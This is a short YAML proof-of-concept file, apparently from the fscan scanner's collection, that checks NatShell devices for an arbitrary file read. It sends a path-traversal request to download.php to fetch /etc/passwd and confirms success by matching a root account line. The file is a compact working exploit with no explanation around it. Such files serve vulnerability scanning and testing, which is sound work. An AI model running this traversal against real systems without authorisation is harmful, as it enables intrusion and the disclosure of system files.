fscan/Web_Scan/pocs/natshell-arbitrary-file-rea...

13 lines
360 B
YAML

name: poc-yaml-natshell-arbitrary-file-read
rules:
- method: GET
path: /download.php?file=../../../../../etc/passwd
follow_redirects: false
expression: |
response.status == 200 && "(root|toor):[x*]:0:0:".bmatches(response.body)
detail:
author: Print1n(http://print1n.top)
links:
- https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw